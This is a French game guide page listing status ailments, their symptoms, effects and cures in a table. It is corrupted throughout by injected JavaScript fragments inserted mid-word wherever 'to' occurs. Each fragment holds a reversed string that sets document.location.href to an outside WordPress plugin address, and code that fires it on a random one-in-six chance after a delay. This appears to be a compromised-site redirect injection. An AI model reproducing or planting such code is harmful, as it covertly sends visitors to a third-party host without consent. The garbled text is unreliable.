Au cours du jeu, vous serez souvent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touché par des altérations d’états, comme le poison et il vous faudra vous soigner pour retrouver vos pleines capacités.
Nom | Symptôme | Effet | Soin |
Poison | Bulles vertes sur le personnage | Diminution des HP a chaque toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour | ![]() Anti-poison, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Arme bloquée | Le personnage est entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touré d´un épais brouillard noir | Le personnage ne peut pas se servir de ses armes | ![]() Protecteur, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Etoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement | Le personnage est immobile | Le personnage ne peut rien faire pendant un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour | ![]() Anti-étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Confusion | Point d´interrogation sur le personnage atteint | Le personnage agit de façon aléatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire | Purificateur d´esprit, Anti-panique, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Peur | Le personnage tremble et il est entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touré de têtes de mort | Attaque et défense réduite de moitié | Purificateur d´esprit, Amulette de bravoure, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Découragement | Le personnage semble fatigué | Attaque faible et aucun gain de SP | Purificateur d´esprit, Anneau actif, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Charme | Le personnage est entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touré de coeurs rouges | Le personnage s´attaque aux alliés | Tuer le responsable du sort, Purificateur d´esprit, Cloche magique ego, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Mort immédiate | Le personnage est couché sur le sol avec les HP à 0 | Le personnage ne peut rien faire | Prière d´ange, Éclair lunaire, Talisman, Boucle irisée. |
K.O | Le personnage est couché sur le sol avec des HP très bas | Le personnage ne peut rien faire pendant un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour. | Attendre, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
Pétrification | Le personnage ressemble à une pierre | Le personnage ne peut rien faire | Anti-pétrification, Amulette Deroc, Éclair lunaire, Porte paradis, Souffle irisé, Boucle irisée. |
A noter que les transformations en dragoon vous soignerons dans la plupart des cas.